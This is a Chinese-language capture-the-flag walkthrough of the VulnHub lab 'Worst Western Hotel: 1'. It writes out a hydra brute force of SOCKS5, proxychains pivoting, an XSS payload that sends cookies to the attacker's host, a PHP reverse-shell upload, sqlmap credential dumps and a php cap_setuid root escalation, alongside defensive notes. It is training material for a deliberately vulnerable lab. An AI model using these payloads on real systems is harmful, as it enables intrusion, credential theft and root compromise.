Worst Western Hotel: 1靶场渗透
Worst Western Hotel: 1
来自 <https://www.vulnhub.com/entry/worst-western-hotel-1,693/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.155
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.155
4,访问80端口的http服务
提示要做一个域名解析
echo "192.168.23.155 prime.worstwestern.com" >>/etc/hosts
http://prime.worstwestern.com/
再扫描其网站子目录
dirsearch -u http://prime.worstwestern.com/ -x 404,403,400
在 http://prime.worstwestern.com/config.txt 得到一组泄露的账户密码
服务 - 摄像头监控网络访问
网络地址:192.168.1.0/24
用户名:Prime
密码:temppassword(定期更换)
在登录网页登录失败
推测config.txt得到的账户密码应该是给socks5代理使用
SOCKS5 服务介绍
简单来说,**SOCKS5(Socket Secure version 5)**是一个在应用层和传输层之间工作的代理协议,用来将客户端的网络流量通过代理服务器转发到目标主机。它是 SOCKS 协议的最新常用版本,相比早期版本支持更多的认证和地址类型,并能代理 TCP 和 UDP 流量。
一、主要特点
- 通用代理:能转发任何基于 TCP/UDP 的协议(HTTP、FTP、SMTP、游戏流量等),不像 HTTP 代理只能处理 HTTP/HTTPS。
- 支持 TCP 与 UDP:可以处理长连接和短报文(例如 DNS over UDP、某些实时应用)。
- 支持多种地址类型:IPv4、IPv6 和域名(域名可以由客户端提供或由代理解析)。
- 可选认证:支持无认证、用户名/密码认证(RFC 1929)或其它扩展认证机制。
- 灵活的连接类型:CONNECT(普通代理连接),BIND(用于被动连接,如 FTP 被动/主动场景),UDP ASSOCIATE(UDP 中继)。
二、工作流程(简要、面向实现原理)
- 建立控制连接(TCP)
- 客户端连接到 SOCKS5 服务器(通常端口 1080)。
- 客户端先发一个握手包,声明支持的认证方法(例如:NO AUTH、USERNAME/PASS)。
- 服务器从中选择一种方法并返回选择结果。
- 认证(如果需要)
- 若选择用户名/密码,客户端随后发送认证凭证,服务器返回通过/失败。
- 请求转发
- 客户端发送请求(请求类型、目标地址类型、目标地址、目标端口)。常见请求类型有 CONNECT、BIND、UDP ASSOCIATE。
- 服务器解析请求并尝试与目标建立连接或为 UDP 分配中继端口,然后返回结果状态。
- 若成功,代理开始在客户端与目标之间转发数据(TCP:双向流;UDP:通过中继端口封装转发)。
注:协议层面是二进制格式,交互是短小的消息(版本号、命令、地址类型、端口等)。常见端口:1080。
三、常见用例
- 绕过网络限制/跨地域访问:把流量通过位于其他网络的代理出站。
- 保护本地网络隐私(配合加密通道):例如把流量先通过 SSH 隧道(ssh -D)建立一个本地 SOCKS5 转发,再由远端出口访问目标。
- 支持非 HTTP 协议的代理需求:像 P2P、游戏、DNS/TCP 服务等。
- 与代理链/多跳代理配合:通过多级 SOCKS5 代理串联实现更复杂的路由。
- Tor 的客户端接口:Tor 提供本地 SOCKS5 接口(通常 9050/9150),通过它可将任意应用流量导入 Tor 网络。
四、常见实现与工具
- Dante:流行的开源 SOCKS 服务器实现(支持丰富 ACL 与认证)。
- 3proxy、tinyproxy(主要是 HTTP 代理)、ss5(较老):其他代理服务/套件中也包含 SOCKS 支持。
- OpenSSH 的动态端口转发:ssh -D 提供一个本地 SOCKS5 代理,常用于快速隧道。
- 浏览器和客户端支持:Firefox、Chrome(with extensions)、curl(--socks5)等支持 SOCKS5 代理。
- Tor:内置 SOCKS5 接口供应用使用。
五、性能与限制
- 延迟与带宽:代理会增加额外一跳的延迟,并受代理主机带宽限制。
- 负载与并发:高并发大带宽场景需要性能良好的代理实现与合理硬件。
- UDP 中继复杂度:UDP ASSOCIATE 模式下,代理需要拆包封装,复杂度更高并可能影响性能。
六、安全与隐私考量
- 明文流量风险:SOCKS5 本身不加密应用流量(除非上层协议加密或 SOCKS5 被封装在 TLS/SSH 隧道内)。使用 SOCKS5 转发敏感流量时应结合 TLS/SSH/VPN。
- 认证与访问控制:应启用认证和 IP/账户 ACL,避免匿名滥用成为开放代理。
- 日志与审计:代理服务器会记录访问记录,应按照合规与隐私规程设置日志保存策略。
- 滥用风控:开放的 SOCKS5 代理容易被滥用进行爬虫、攻击或规避审计,需限速、限流并做异常检测。
- 与防火墙的配合:通过防火墙规则限制哪些客户端可以连接到 SOCKS5 服务,并对出站目的地实施策略。
七、部署/加固建议(要点)
- 仅在受信任网络或经身份验证的用户可访问的环境中部署。
- 启用强认证(至少用户名/密码,结合 IP 白名单更好)。
- 将 SOCKS5 与加密通道结合(如 SSH 动态端口、stunnel、WireGuard/VPN)以保护传输内容。
- 对访问进行限速和日志记录,设置报警规则检测异常使用。
- 用容器或最小化运行环境隔离代理进程,结合 SELinux/AppArmor 强化进程边界。
5,尝试hydra爆破socks5登录密码
hydra -l Prime -P /usr/share/wordlists/rockyou.txt socks5://192.168.23.155:1080
最后爆出来账户密码是tinkerbell1
在 proxychains 配置文件中配置 socks5:
mousepad /etc/proxychains4.conf
首先去掉dynamic_chain的注释符
然后最末行加上
socks5 192.168.23.155 1080 Prime tinkerbell1
6,使用 socks5 代理来进行一下主机嗅探
proxychains netdiscover -i eth0
使用 proxychains nmap 扫描一下 192.168.1.0/24 段,也就是提示说的监控网络网络访问服务段
proxychains nmap -sT -Pn -p 22,80,443 192.168.1.0/24
发现一个地址 192.168.1.124,扫一下这个地址
使用 proxychains firefox 命令打开火狐浏览器访问
7,在这个网站发现有 xss,使用xss漏洞通过POST请求方法获取cookie:
<script>var x=new Image();x.src="http://192.168.23.128:8000?mycookies="+document['cookie'];document.body.appendChild(x);</script>
kali使用python打开对8000端口的监听,以接收cookie
python -m http.server
尝试替换cookie以实现用户身份的窃取,注意切回首页
成功进入后台用户
8,在监控图片发现一组用户名密码
peterg:Birdistheword
尝试用户名后加邮箱登录试试80端口开放的http服务
peterg@worstwestern.com:Birdistheword
尝试在网站内部写反弹木马以getshell。Preferences/theme 主题这里可以进行导出导入
点两个 save,导出,将kail自带的反弹 shell 脚本直接放到 /themes/hotel-reservation-theme/ 目录下
直接拖到压缩包中,改一下网站中的主题名
然后上传
上传后访问http://prime.worstwestern.com/themes/hotel-reservation-theme/shell.php。注意kali开启nc监听
成功getshell
9,获取可交互shell,信息收集一下
python -c 'import pty;pty.spawn("/bin/bash")'
得到flag1
确认完成192.168.0.0/24网段的初步渗透
10,扫一下前面发现的192.168.0.1
proxychains nmap -Pn -sT -p22,80,443 192.168.0.1
依旧proxychains firefox启动一下浏览器,80端口是网站初始页面。
再看看https
11,在 https://192.168.0.1/forgot-password.php 发现存在sql注入漏洞(登录网页也有)
proxychains -q sqlmap -u "https://192.168.0.1/forgot-password.php" --forms --dbs --batch
proxychains -q sqlmap -u "https://192.168.0.1/forgot-password.php" --forms --batch -D crm --tables
proxychains -q sqlmap -u "https://192.168.0.1/forgot-password.php" --forms -D crm -T user --columns --batch
proxychains -q sqlmap -u "https://192.168.0.1/forgot-password.php" --forms -D crm -T user -C name,password--dump --batch
得到用户名密码
peterg:TheBirdIsTheWord
12,使用代理ssh登录一下
proxychains -q ssh peterg@192.168.0.1
在当前家目录下发现flag
sudo -l看一下怎么提权,发现命令被禁用。再看看suid提权
find / -perm -u=s -type f 2>/dev/null
下载提权扫描脚本跑一下
wget https://raw.githubusercontent.com/carlospolop/PEASS-ng/fe3ec9ea12bc802238fa8bf2742bd66016af6f51/linPEAS/linpeas.sh
给权限执行脚本查看系统薄弱处
当前系统的能力集(capabilities)摘要表明:进程(和交互 shell)本身没有被赋予任何有效(Effective)或许可(Permitted)的内核能力(CapEff / CapPrm 都为 0)。但系统中存在若干带有文件能力(file capabilities)的可执行文件,这些文件在被执行时可获得相应能力,从而在权限方面与普通可执行文件不同。这些文件包括:
- /usr/bin/php7.3 — cap_setuid+ep
- /usr/bin/vim — cap_setuid+ep
- /usr/bin/ping — cap_net_raw+ep
每一项含义及安全影响如下。
各能力含义与安全影响(概要)
- cap_setuid:允许进程改变其 UID(setuid 相关操作)的能力。若某个二进制被赋予 cap_setuid+ep,则在该二进制执行时,进程可能会被允许改变自己的用户标识(这会在某些条件下被利用来绕过权限边界)。具体是否能被滥用取决于二进制本身是否允许不受限命令执行或提供交互式接口。
- cap_net_raw:允许创建和使用原始套接字(raw sockets),通常用于 ping、traceroute 等网络工具。授予此能力的二进制若被非信任用户执行,可能被用于网络扫描或进行较低层的网络操作。
- +ep 标记含义:e 表示 effective(执行时有效),p 表示 permitted(允许)。文件能力在执行该文件时会被内核赋予进程。
这些能力不是本身就是漏洞,但把能力赋给常用的交互式程序(如 vim、php)会增大被滥用的风险。因此需要审计为什么这些二进制带能力、它们由哪个包安装、是否确实需要。
linPEAS (linpeas.sh)
linPEAS 是 PEASS-ng 工具集中用于 Linux 本地提权枚举的自动化脚本,专为在主机上快速发现潜在本地提权路径而设计。脚本通过大量检查模块收集系统信息、权限配置、服务与凭据等线索,并以彩色高亮的方式标注“值得关注”的发现,适用于 CTF、渗透测试与授权的安全审计场景。
来源与定位
该脚本为开源项目 PEASS-ng 的一部分,社区维护并持续更新。项目目标是提供跨平台的提权枚举工具集合,帮助在授权环境中快速识别可能的提权向量与配置问题。
主要功能模块
- 系统信息与版本识别:采集内核、发行版与已安装软件版本,便于匹配已知漏洞特征。
- 权限与文件审计:查找可写/可读的敏感文件、异常权限位、SUID/SGID 可执行文件与私钥等。
- 服务与网络态势:列举监听端口、活跃进程、systemd 单元、cron 任务与套接字等运行态要素。
- 用户/组与认证分析:收集用户组信息、可能的弱口令线索与 sudo 权限配置。
- 云环境指纹:检测主机是否运行在云平台并检查云相关配置(如元数据访问)。
- 可选高噪音检查:包括对本地口令猜测、网络探测、执行 sudo -l 等可能留痕或触发告警的检测项。
常见运行选项与控制
脚本提供不同扫描模式以平衡速度、覆盖与噪声,例如全量模式(包含耗时/噪音检测)与快速/隐蔽模式(跳过大部分可能留痕的检查)。此外包含启用/禁用彩色输出、模块选择和导出结果等控制参数,用于适配 CTF 或渗透测试流程需求。
输出形式与可读性
输出以终端高亮为主,将疑似高价值发现用显著颜色标记,便于在大量信息中快速定位重点。支持将结果重定向到文件以便后续人工复核与整理成报告。自动化输出会包含大量条目和潜在误报,需逐项人工验证。
适用场景与注意事项
适用于授权的渗透测试、CTF 实战与安全审计演练。脚本部分检测会产生网络访问或尝试敏感操作,在生产系统上直接运行可能导致告警或影响服务,应只在有明确授权的环境(靶场、演练机或授权资产)中使用。
风险、合规与伦理边界
脚本可能暴露或利用敏感信息与权限配置。使用前必须确保具备合法授权,遵守组织的合规与审计要求。对输出中的每一项高危发现都需做手工复现与证据记录,避免误报导致错误处置。
使用与处置建议(实践流程)
- 在授权环境中运行并将输出重定向到文件以便审阅。
- 按优先级筛选高危类目(SUID、可写 sudoers、可读私钥、监听的管理端口等),对每项进行手工验证与复现。
- 记录复现步骤与证据,编制修复建议(如修正文件权限、限制 sudo、删除不必要 SUID、修补已知漏洞、强化云凭据访问控制)。
- 在正式环境采取变更前于测试环境验证修复措施,并将配置变更纳入版本控制与变更审计。
结论
linPEAS 是快速、高覆盖的本地提权枚举工具,适合用于 CTF 和授权的渗透测试以节省枚举时间,但其检测结果必须经过人工复核与合规评估。任何在生产或第三方系统上的使用都必须先取得明确授权并遵循安全运营规范。
13,最后结论是可以通过php提权,查询一下提权手册。若该二进制文件已设置 Linux 的 CAP_SETUID 权限,或由另一个已设置该权限的二进制文件执行,则可将其用作后门,通过操纵自身进程的用户标识符(UID)来维持特权访问。
cp $(which php) .
sudo setcap cap_setuid+ep php
或
CMD="/bin/sh"
/usr/bin/php7.3 -r "posix_setuid(0); system('$CMD');"
一、核心原理(高层次)
Linux 的传统权限模型以 UID/GID 为基础:只有 UID=0 的进程被视为 root,能执行所有受限操作。为了解耦单一的全权 root 权限,Linux 引入了 capabilities(能力集),把 root 的权限细分成若干能力(如 CAP_NET_RAW、CAP_SETUID 等)。当一个可执行文件被赋予某个 file capability(例如 cap_setuid),在执行该文件时,内核会将相应的能力赋给该进程,从而允许进程调用对应的系统功能,即便该进程并非由 root 启动。
上面代码利用的核心思想是:
- 将能力赋给一个“通用”或“可执行脚本/解释器”类的二进制(例如 PHP 解释器、编辑器等);
- 在该二进制的执行环境中调用可以改变进程 UID 的系统接口(如 posix_setuid() 或 setuid() 等);
- 通过把进程 UID 改为 0(root)并随后执行一个交互 shell 或命令,就能获得 root 权限的交互式会话或保持特权访问。
也就是说,把 CAP_SETUID 赋给一个允许执行任意命令或能调用系统接口改变 UID 的“通用”二进制,就形成了一个后门路径:任何能运行该二进制的非特权用户,都可能借此把自己的进程升级为 root。
二、关键机制细节(技术要点)
- File capabilities 与 +ep 标志
- file capability 写在文件元数据里(通过 libcap/setcap 管理)。e(effective)表示在执行该文件时该能力会被放入进程的 Effective 集;p(permitted)表示该能力被允许。
- 当内核 exec 一个带有 cap_*+ep 的文件,执行进程会获得这些能力(不需通过 setuid root),从而能够调用相应的特权 syscall。
- CAP_SETUID 的作用
- 允许进程调用改变 UID 的接口,并把自己的 UID/有效 UID 设置为任意值(在允许范围内,包括 0)。若程序能传入任意参数去调用 setuid(0)/posix_setuid(0),它就能将自身提升为 root。
- “通用二进制”风险
- 若被赋能的程序本身带有任意命令执行能力(解释器的 -r 或 -e 选项、文本编辑器的外部命令、可加载插件等),则攻击面非常大。攻击者无需替换系统核心二进制,只要能执行该带能力的可执行文件并传入合适参数,就能获得特权。
- 可被滥用的路径
- 可写目录下复制二进制并赋能、或替换某个可执行文件、或通过 sudo/cron 等可触发执行都可能被滥用。关键问题是:能力赋予的位置、哪些用户能执行该二进制、二进制的功能边界是否被严格限制。
三、检测(Indicator)与调查线索
- 系统中带 file capabilities 的二进制:使用 getcap -r /(或等效递归检查)可列出拥有能力的文件。重点检查解释器(php、python、ruby)、编辑器(vim)、网络工具等是否被赋予敏感能力。
- 可疑的二进制副本或不在软件包默认路径中的可执行文件(例如用户目录或临时目录中出现的 php 副本)。
- 审计日志中关于 setcap、chmod、chown、包管理器操作或 /usr/bin 写入的记录。
- 可疑的进程行为:普通用户进程突然以 UID=0 执行敏感操作、出现未授权的 root shell 会话记录。
- 系统审计(auditd)可追踪 capset/setcap 系统调用与文件元数据更改。